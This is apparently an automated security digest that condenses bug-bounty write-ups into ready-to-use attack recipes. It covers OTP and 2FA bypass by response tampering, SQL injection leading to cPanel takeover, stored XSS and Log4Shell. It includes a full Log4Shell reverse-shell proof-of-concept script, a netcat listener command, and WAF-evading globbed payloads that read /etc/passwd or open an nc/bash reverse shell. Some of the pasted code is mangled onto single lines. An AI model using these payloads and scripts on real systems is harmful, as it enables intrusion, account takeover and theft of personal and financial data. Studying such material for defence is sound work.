

ETX Signal-X

Daily Intelligence Digest

Wednesday, March 11, 2026

10

ARTICLES

18

TECHNIQUES

Access Bank Account Information via Response Manipulation

Source: securitycipher

Date: 07-Aug-2025

URL: <https://brbr0s.medium.com/access-bank-account-information-via-response-manipulation-b373c9e4b536>

T1 Client-Side Response Manipulation to Escalate Bank Account Access

Payload

```
/api/v0/registry/bank-account
```

Attack Chain

- 1 Log in as a collaborator (non-owner) on the target application.
- 2 Intercept the GET or relevant request to `/api/v0/registry/bank-account` using a proxy (e.g., Burp Suite).
- 3 Observe the server response containing `hasBankPermissions:false`.
- 4 Modify the intercepted response, changing `hasBankPermissions` from `false` to `true`.
- 5 Forward the modified response to the client.
- 6 Access the bank account information UI/functionality, which now becomes available due to the manipulated permission flag.
- 7 View and/or modify the owner's bank account information as a collaborator.

Discovery

While reviewing endpoints available to collaborators, noticed the `bank-account` endpoint response included a `hasBankPermissions` boolean. The presence of this flag in the client-side response suggested possible client-side access control, prompting manipulation to test for privilege escalation.

Bypass

By altering the `hasBankPermissions` flag in the intercepted response, the client UI logic is tricked into granting access to restricted owner-only bank account data. No server-side validation is performed when rendering the UI or fetching subsequent data, allowing privilege escalation.

Chain With

If additional sensitive actions (e.g., bank account modification, transfers) are gated by client-side flags, similar manipulation may allow further escalation or financial impact. Can be chained with session fixation or CSRF if the UI exposes further privileged actions post-escalation.

Accidental Hacker: How I Found a Critical Data Leak Bug with Just a Few Clicks

Source: securitycipher

Date: 06-May-2025

URL: <https://zetzer.medium.com/accidental-hacker-how-i-found-a-critical-data-leak-bug-with-just-a-few-clicks-3cabd1f97aee>

T1 Sensitive User Data Disclosure via Overly Permissive API Response

Payload

```
GET /api/v1/student-classrooms?institution_subject_class_level_id=1703
```

Attack Chain

- 1 Authenticate as a legitimate user on the educational platform.
- 2 Intercept normal API traffic using Burp Suite or similar proxy.
- 3 Access the classroom chat feature or any function that triggers a request to `/api/v1/student-classrooms?institution\_subject\_class\_level\_id=...`.
- 4 Observe the API response, which returns detailed personal data for all users in the classroom, not just the authenticated user.

Discovery

Passive reconnaissance while browsing the platform with Burp Suite. The researcher noticed that the API response for a classroom-related endpoint contained full user profiles for all classroom members, exposing sensitive fields not shown in the UI.

Bypass

No authentication or authorization bypass required; the vulnerability exists due to excessive data exposure to any authenticated classroom member. The UI filters sensitive fields, but the API does not, allowing data access via proxy or browser dev tools.

Chain With

Use leaked email, phone, and ID data for targeted phishing or social engineering. Combine with session/token vulnerabilities for lateral movement or privilege escalation if present elsewhere. Potential for automated scraping of all classroom user data if classroom IDs are enumerable or accessible via other endpoints.

Xeroneit Library Management System 3.1 contains a stored cross-site scripting vulnerability in the Book Category feature that allows administrators to inject malicious scripts. Attackers can insert a payload in the Category Name field to execute arbitrary

Source: threatable

Date:

URL: <https://www.exploit-db.com/exploits/49292>

T1 Stored XSS via Book Category Name Field

Payload

```
\"><img src onerror=alert(1)>
```

Attack Chain

- 1 Authenticate to Xeroneit Library Management System 3.1 as an Admin user.
- 2 Navigate to the "Book" section, then select "Book Category".
- 3 Click the "Add" button to create a new category.
- 4 In the "Category Name" field, insert the payload:
- 5 Save the new category.
- 6 Upon viewing the Book Category list or any page rendering the malicious category name, the payload executes, triggering arbitrary JavaScript in the admin's browser context.

Discovery

Manual fuzzing of input fields in the admin panel, specifically targeting the "Category Name" field for lack of output encoding or sanitization. The researcher tested common XSS payloads and observed JavaScript execution upon rendering.

Bypass

No input validation or output encoding on the "Category Name" field. The payload is not filtered or sanitized, allowing direct injection of script via HTML event attributes.

Chain With

Can be chained with session hijacking or privilege escalation if the admin session is compromised. Potential for lateral movement if the payload is crafted to exfiltrate cookies or perform CSRF actions as the admin.

SQL Injection Vulnerability on a Security Awareness website: From Database Dump to cPanel Access

Source: securitycipher

Date: 15-Dec-2024

URL: <https://medium.com/@anonymousshetty2003/sql-injection-vulnerability-on-a-security-awareness-website-from-database-dump-to-cpanel-access-4bb3645eef07>

T1 SQL Injection in PHP Endpoint with Ghauri for Database Dump

Payload

```
GET /get/loginbyID.php?id=5036
```

Attack Chain

- 1 Identify the endpoint `/get/loginbyID.php?id=5036` as accepting user input in the `id` parameter.
- 2 Attempt SQL injection exploitation using SQLmap, but encounter WAF/false positives.
- 3 Switch to Ghauri tool for exploitation:
- 4 Successfully enumerate databases and dump tables, including `adminLogin`.

Discovery

Recon of PHP endpoints with numeric parameters, followed by direct injection attempts and tool-assisted exploitation after SQLmap failed. The switch to Ghauri was based on community advice for bypassing SQLmap limitations.

Bypass

SQLmap failed due to errors or WAF/false positives. Ghauri was used as an alternative, leveraging its different tamper techniques and request handling to bypass protections.

Chain With

Database dump yields admin credentials, which can be used for further escalation (see next technique).

T2

Chaining Database Dump to cPanel Account Takeover

Payload

```
POST /cPanel/login
Content-Type: application/x-www-form-urlencoded

username=[admin email from adminLogin table]
password=[cracked password or reused password]
```

Attack Chain

- 1 Use directory fuzzing tools (subfinder, wfuzz) to discover cPanel login subdomain.
- 2 Extract admin email and password hash from the `adminLogin` table dumped via SQLi.
- 3 Brute-force or rainbow-table crack the password hash offline.
- 4 Attempt login to cPanel using the admin email and cracked/reused password.
- 5 On success, gain full control over the hosting environment (file system, DNS, web shell upload, etc).

Discovery

After database dump, review of table names and contents revealed `adminLogin` table with credentials. Subdomain enumeration revealed cPanel login interface. Hypothesis: admin email reused for cPanel.

Bypass

No direct bypass, but successful chaining relied on credential reuse and weak password hygiene. Brute-forcing the hash was required if not stored in plaintext.

Chain With

Full cPanel access allows for: Web shell upload for RCE DNS hijacking Defacement Pivoting to other hosted applications

Easiest \$225 Ever: A Simple SQL Injection Win!

Source: securitycipher

Date: 29-Jan-2025

URL: <https://medium.com/@whoadnan01/easiest-225-ever-a-simple-sql-injection-win-f40c0a6b8e45>

Classic SQL Injection via GET Parameter

Payload

```
GET /api/v1/user?id=1' OR '1'='1 HTTP/1.1
Host: targetsite.com
Cookie: sessionId=abcdef123456
```

Attack Chain

- 1 Identify the vulnerable endpoint `/api/v1/user` accepting an `id` parameter via GET.
- 2 Inject the payload `1' OR '1'='1` into the `id` parameter.
- 3 Send the request and observe the response for authentication bypass or data leakage (e.g., all user data returned).

Discovery

Manual parameter fuzzing on user-related endpoints; noticed anomalous response when single quote and boolean logic were injected into `id`.

Bypass

No input sanitization or parameterized queries; classic SQLi payloads are not filtered.

Chain With

Leverage SQLi for authentication bypass, data extraction, or privilege escalation. Potential to chain with session fixation (using valid session cookies) or escalate to RCE if stacked queries are allowed.

How I Bypassed 2 layers 2FA on a B2B Site,an awesome experience!

Source: securitycipher

Date: 30-Mar-2025

URL: <https://take0verx0.medium.com/how-i-bypassed-2fa-on-a-b2b-site-and-earned-a-critical-bug-bounty-ea4ff9e4094b>

T1 Client-Side Response Manipulation to Bypass Email OTP Verification

Payload

```
POST /store/verify-email-otp HTTP/1.1
Host: [TARGET]
Content-Type: application/json
Content-Length: [LENGTH]

{"email":"test@example.com","otp":"1111"}

---
[Intercepted server response]
HTTP/1.1 400 Bad Request
Content-Type: application/json

{"error_msg":"Invalid OTP. Please try again."}

[Modified to:]
HTTP/1.1 200 OK
Content-Type: application/json

{"redirect":"https://[REDACTED]/store/setup"}
```

Attack Chain

- 1 Initiate registration with an arbitrary email (no access required).
- 2 Enter a random OTP (e.g., 1111) at the email verification step.
- 3 Intercept the POST request to `/store/verify-email-otp` using Burp Suite.
- 4 Intercept the server's 400 Bad Request response.
- 5 Modify the response to 200 OK and change the JSON body to `{ "redirect": "https://[REDACTED]/store/setup" }`.
- 6 Forward the modified response to the client.
- 7 The client proceeds to the next registration step, bypassing email OTP verification.

Discovery

Observed that the client-side handled OTP verification logic based on server response codes and messages. Hypothesized that manipulating the response could trick the client into proceeding, confirmed via Burp Suite interception.

Bypass

By changing the server response from an error (400) to a success (200) with a crafted JSON payload, the client-side logic was fooled into accepting any OTP as valid.

Chain With

Can be chained with subsequent authentication steps (e.g., phone OTP) or account takeover vectors if email is already registered.

T2

Client-Side Response Manipulation to Bypass Phone OTP Verification

Payload

```
POST /store/verify-otp HTTP/1.1
Host: [TARGET]
Content-Type: application/json
Content-Length: [LENGTH]

{"phone":"+88017*****","otp":"1111"}

---
[Intercepted server response]
HTTP/1.1 400 Bad Request
Content-Type: application/json

{"error_msg":"Invalid OTP. Please try again."}

[Modified to:]
HTTP/1.1 200 OK
Content-Type: application/json

{"success":"OTP verified successfully"}
```

Attack Chain

- 1 After bypassing email OTP, proceed to the phone verification step.
- 2 Enter arbitrary user details and a random phone number.
- 3 Enter a random OTP (e.g., 1111) at the phone verification prompt.
- 4 Intercept the POST request to `/store/verify-otp` using Burp Suite.
- 5 Intercept the server's 400 Bad Request response.
- 6 Modify the response to 200 OK and change the JSON body to `{ "success": "OTP verified successfully" }`.
- 7 Forward the modified response to the client.
- 8 The client proceeds to account creation, bypassing phone OTP verification.

Discovery

After successfully bypassing the email OTP, applied the same response manipulation approach to the phone OTP step, confirming the vulnerability was present in both flows.

Bypass

The server's lack of server-side session validation allowed client-side acceptance of any successful-looking response, regardless of OTP correctness.

Chain With

Allows full account creation and potential impersonation of arbitrary users, especially if the phone number is linked to an existing account.

A Simple 2FA Bypass

Source: securitycipher

Date: 06-Jul-2024

URL: <https://infosecwriteups.com/a-simple-2fa-bypass-43c8af9006ec>

T1 2FA Bypass via Client-Side Response Manipulation

Payload

```
HTTP/1.1 200 OK
Content-Type: application/json

{
  "message": "OTP verified successfully",
  ...
}
```

Attack Chain

- 1 Log in as a normal user and enable 2FA for the account.
- 2 Log out and attempt to log in again, entering valid credentials.
- 3 At the OTP prompt, enter an incorrect OTP and intercept the server's response (which returns HTTP 401 Unauthorized and an error message).
- 4 In the interception proxy (e.g., Burp Suite), modify the intercepted response:
- 5 - Replace the response body with the content from a valid OTP verification (e.g., copy from a previous successful OTP response).
- 6 Forward the manipulated response to the client.
- 7 Observe that the application treats the 2FA step as passed, granting access to the account.
- 8 Optionally, disable 2FA from the account settings to confirm full bypass.

Discovery

Manual testing of 2FA flows during a RVDP engagement. The researcher noticed that the client-side logic was responsible for enforcing 2FA and that server responses were not properly validated, prompting manipulation of the response to test for bypass.

Bypass

The application relies on client-side validation of the server's response to enforce 2FA. By changing a 401 Unauthorized response to 200 OK and providing a valid success message body, the client proceeds as if 2FA was successful, regardless of the actual OTP value.

Chain With

Full account takeover if credentials are known. Disabling 2FA for persistence. Possible privilege escalation if 2FA is required for sensitive actions. Chaining with session fixation or other authentication weaknesses for lateral movement.

Exploiting the Log4j Vulnerability (CVE-2021-44228)—Proof of Concept (PoC)

Source: securitycipher

Date: 17-Feb-2025

URL: <https://medium.com/@muhammadwaseem29/exploiting-the-log4j-vulnerability-cve-2021-44228-proof-of-concept-poc-9b462b73b7a8>

T1 Log4Shell JNDI Injection for Remote Code Execution

Payload

```
${jndi:ldap://127.0.0.1:1389/a}
```

Attack Chain

- 1 Set up a malicious LDAP server (e.g., using marshalsec or the provided PoC script) listening on port 1389.
- 2 Generate a Java payload (reverse shell) and host it on an HTTP server accessible to the target.
- 3 Start a Netcat listener on your attacker's machine (e.g., `nc -lvnp 9001`).
- 4 Inject the payload `\${jndi:ldap://127.0.0.1:1389/a}` into a user-controllable field (e.g., login, search box) of the target application running a vulnerable version of Log4j.
- 5 When the vulnerable application logs the input, Log4j triggers a JNDI lookup to the attacker's LDAP server.
- 6 The LDAP server responds with a reference to the malicious Java class hosted on the attacker's HTTP server.
- 7 The target JVM loads and executes the payload, resulting in a reverse shell connection to the attacker's Netcat listener.

Discovery

Manual review of Log4j input vectors and testing with JNDI payloads in loggable fields. The researcher confirmed exploitability by observing a reverse shell upon payload injection.

Bypass

N/A (classic Log4Shell vector, but can be adapted for obfuscation or alternate protocols if standard payloads are filtered).

Chain With

Combine with SSRF or other injection vectors to reach internal logging surfaces. Use as initial access for privilege escalation, lateral movement, or data exfiltration. Chain with environment-specific gadgets for advanced exploitation (e.g., bypassing egress controls, custom deserialization chains).

T2

JNDI Payload Obfuscation Variant

Payload

```
${jndi:ldap:/127.0.0.1:1389/a
```

Attack Chain

- 1 Prepare the same LDAP and HTTP infrastructure as in Technique 1.
- 2 Inject the obfuscated payload `\${jndi:ldap:/127.0.0.1:1389/a` (note the single slash and missing closing brace) into a loggable field.
- 3 Some Log4j parsing implementations may still process this as a valid JNDI lookup, depending on input sanitization and parsing logic.
- 4 If successful, the attack proceeds as in Technique 1, resulting in remote code execution and a reverse shell.

Discovery

Tested alternate payload formats to bypass naive input validation or WAF rules that only block canonical `\${jndi:ldap://...}` patterns.

Bypass

This variant may evade basic pattern-matching defenses that expect double slashes or a closing brace. Useful for bypassing input sanitization or logging normalization.

Chain With

Use in combination with WAF bypass payloads. Test for additional parsing quirks in custom logging wrappers or middleware.

T3 Automated Reverse Shell Payload Generation via PoC Script

Payload

```
#!/usr/bin/env python3
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = """import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class Exploit {    public Exploit() throws Exception {        String host="%s\\n";        int port=%d;        String cmd="/bin/sh\\n";        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();        Socket s=new Socket(host, port);        InputStream pi=p.getInputStream(),        pe=p.getErrorStream(),        si=s.getInputStream();        OutputStream po=p.getOutputStream(),so=p.getOutputStream();        while(!s.isClosed()) {            while(pi.available(>0))                so.write(pi.read());            while(pe.available(>0))                so.write(pe.read());            while(si.available(>0))                po.write(si.read());            so.flush();            po.flush();            Thread.sleep(50);            try {                p.exitValue();            } catch (Exception e){                }            }        };        p.destroy();        s.close();    }""" % (userip, lport)    # writing the exploit to Exploit.java file    p = Path("Exploit.java")    try:        p.write_text(program)        subprocess.run([os.path.join(CUR_FOLDER, "/usr/bin/jdk1.8.0_202/bin/java"), str(p)])    except OSError as e:        print(Fore.RED + '[-] Something went wrong {e}')        raise e    else:        print(Fore.GREEN + '[+] Exploit java class created success')

def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)
    print(Fore.GREEN + '[+] Setting up LDAP server\\n')    # create the LDAP server on new thread    t1 = threading.Thread(target=ldap_server, args=(userip, webport))    t1.start()    # start the web server    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)    httpd.serve_forever()

def check_java() -> bool:
    exit_code = subprocess.call([os.path.join(CUR_FOLDER, '/usr/bin/jdk1.8.0_202/bin/java'), '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0

def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\\n")
    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([os.path.join(CUR_FOLDER, "/usr/bin/jdk1.8.0_202/bin/java"), "-cp", os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"), "marshalsec.jndi.LDAPRefServer", url, ])

def main() -> None:
    init(autoreset=True)
    print(Fore.BLUE + "[!] CVE: CVE-2021-44228[!] Github repo: https://github.com/kozmer/log4j-shell-poc")
    parser = argparse.ArgumentParser(description='log4shell PoC')
    parser.add_argument('--userip', metavar='userip', type=str, default='localhost', help='Enter IP for LDAPRefServer & Shell')
    parser.add_argument('--webport', metavar='webport', type=int, default='8000', help='listener port for HTTP port')
    parser.add_argument('--lport', metavar='lport', type=int, default='9001', help='Netcat Port')
    args = parser.parse_args()
    try:
        if not check_java():
            print(Fore.RED + '[-] Java is not installed inside the repository')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport)
    except KeyboardInterrupt:
        print(Fore.RED + "user interrupted the program.")
        raise SystemExit(0)

if __name__ == "__main__":
    main()
```

Attack Chain

- 1 Use the provided PoC script to automate payload generation, LDAP server setup, and HTTP hosting of the malicious Java class.

- 2 The script generates a reverse shell Java payload targeting the attacker's IP and port.
- 3 The script starts the LDAP server and web server, and prints the JNDI payload to inject.
- 4 The attacker injects the payload into a vulnerable field on the target application.
- 5 On successful exploitation, the attacker receives a reverse shell.

Discovery

Analysis of public PoC repositories and adaptation of the script for automated exploitation and environment-specific tuning (e.g., Java path customization).

Bypass

Automating payload generation and delivery reduces human error and increases repeatability. Customizing the Java path can bypass non-standard Java installations or containerized environments.

Chain With

Integrate with automated recon and mass exploitation frameworks. Use for red team operations where rapid payload customization is required.

Privilege Escalation using Client-Side Path Traversal

Source: securitycipher

Date: 22-Apr-2025

URL: <https://aboalezz1.medium.com/privilege-escalation-using-client-side-path-traversal-e1d0762a966d>

T1 Privilege Escalation via Client-Side Path Traversal in Image Path Field

Payload

```
/pictures/../../../../api/v1/task/task-UUID
```

Attack Chain

- 1 As a low-privileged user, create a new plugin (or similar object) and intercept the request.
- 2 In the `picture` field (normally expecting a static image path like `pictures/defaultplugin.png`), supply a crafted path pointing to an internal API endpoint for an automation task (e.g., `../../../../api/v1/task/task-UUID`).
- 3 Submit the request to save the plugin with the malicious path.
- 4 When a privileged user (e.g., admin) visits the plugins page, their browser attempts to load the image, causing a GET request to the internal API endpoint with their session/cookies/privileges.
- 5 The automation task is executed with the admin's privileges, without their knowledge or interaction.
- 6 Each subsequent page load by any privileged user triggers the task again, enabling repeated exploitation.

Discovery

Manual review of the plugin creation feature revealed a `picture` field accepting arbitrary paths. The researcher hypothesized that supplying a path to an internal API endpoint could trigger privileged actions when viewed by an admin, based on prior knowledge of similar CSRF vectors and the presence of automation tasks.

Bypass

This technique bypasses direct permission checks by leveraging the browser's automatic resource fetching behavior. The attacker does not need direct access to the privileged action; instead, they induce a privileged user to trigger the action via a path traversal in a frontend field.

Chain With

Can be chained with IDOR or weak UUID enumeration to discover additional task UUIDs for broader impact. If the internal endpoint supports sensitive actions (e.g., payments, environment changes), can be chained for lateral movement or financial impact. Can be combined with persistent XSS or other stored injection points to automate further exploitation.

Bypassing Web Application Firewalls with Shell Globbing

Source: securitycipher

Date: 27-Jan-2025

URL: <https://0xkratos.medium.com/bypassing-web-application-firewalls-with-shell-globbing-8af82ff0cc8a>

T1 WAF Bypass via Shell Globbing Wildcards for File Read

Payload

```
/?cmd=cat+/e*c/p*s*d
```

Attack Chain

- 1 Identify a command injection point, e.g., `/?cmd=...` that passes input to a shell.
- 2 Instead of submitting `/etc/passwd`, submit `/e\*c/p\*s\*d` using shell globbing wildcards.
- 3 The WAF does not match the direct string and allows the request.
- 4 The shell expands `/e\*c/p\*s\*d` to `/etc/passwd`, and the file is read.

Discovery

Manual review of WAF filtering logic for direct string matches; tested alternate file path patterns using shell wildcards to evade detection.

Bypass

WAFs matching on `/etc/passwd` do not recognize `/e\*c/p\*s\*d` as equivalent. Shell expands the pattern post-filtering.

Chain With

Combine with LFI or RCE primitives for file read or arbitrary command execution.

T2 WAF Bypass via Shell Globbing with URL Encoding

Payload

```
/?cmd=cat+%2fe%3fc%2fp%3fs%3fd
```

Attack Chain

- 1 Identify a command injection or file read endpoint.
- 2 Encode globbing characters (`\*` as `%2a`, `?` as `%3f`) in the payload.
- 3 Submit the encoded payload to the endpoint.
- 4 WAF fails to decode and block the pattern; backend shell decodes and expands it to the target file.

Discovery

Analysis of WAF behavior with encoded payloads; observed that URL-encoded wildcards bypassed WAF pattern matching.

Bypass

WAF does not decode and inspect encoded wildcards, allowing them to pass through and be interpreted by the shell.

Chain With

Combine with any endpoint that decodes and passes input to shell; can be used for LFI, RCE, or enumeration.

T3 WAF Bypass via Shell Globbing for Command Execution (Reverse Shell)

Payload

```
/?cmd=/???/n?+-e+/?b??h+2130706433+1337
```

Attack Chain

- 1 Find a command injection point accepting arbitrary shell commands.
- 2 Use globbing wildcards to obfuscate both the binary and arguments (e.g., `???/n?` for `/bin/nc`, `/?b??h` for `/bin/bash`).
- 3 Use integer representation for IP (e.g., `2130706433` for `127.0.0.1`).
- 4 Submit the payload to establish a reverse shell, bypassing WAF string matching for `nc`, `bash`, etc.

Discovery

Tested common reverse shell payloads with globbing and observed successful execution where direct payloads were blocked.

Bypass

WAF fails to match obfuscated binary names and arguments; shell expands to actual binaries and executes.

Chain With

Can be chained with RCE primitives for full shell access; integer IP encoding further obfuscates intent.

T4 WAF Bypass via Globbing for File/Directory Enumeration

Payload

```
/?cmd=echo+/*/*ss*
```

Attack Chain

- 1 Locate a command injection endpoint.
- 2 Submit a globbing pattern (e.g., `/\*/\*ss\*`) to enumerate files like `/etc/passwd`, `/var/log/messages`, `/bin/bash`.
- 3 WAF does not block the pattern as it does not match direct sensitive filenames.
- 4 Shell expands the pattern and returns matching files/directories.

Discovery

Tested common enumeration patterns with wildcards to bypass WAF file access rules.

Bypass

WAF does not recognize enumeration intent in globbing patterns; shell expands and reveals sensitive files.

Chain With

Useful for pre-exploitation reconnaissance, can be chained with LFI or RCE for targeted attacks.

T5 ModSecurity CRS Paranoia Level Evasion via Minimal Wildcards

Payload

```
c=?in/cat+/et?/passwd?
```

Attack Chain

- 1 Target a ModSecurity-protected endpoint with Paranoia Level 3 enabled.
- 2 Use minimal wildcards (e.g., `?`) to avoid triggering "repetitive non-word character" rules.
- 3 Submit the payload; shell expands to `cat /etc/passwd` and executes.

Discovery

Incremental testing of payloads with varying numbers of wildcards against different ModSecurity paranoia levels; observed that reducing wildcard count bypassed PL3 rules.

Bypass

PL3 blocks excessive wildcards but not minimal usage; attacker fine-tunes payload to evade detection while still achieving expansion.

Chain With

Can be used for file read or command execution on targets with stricter WAF configurations.

Automated with ❤️ by ethicxhuman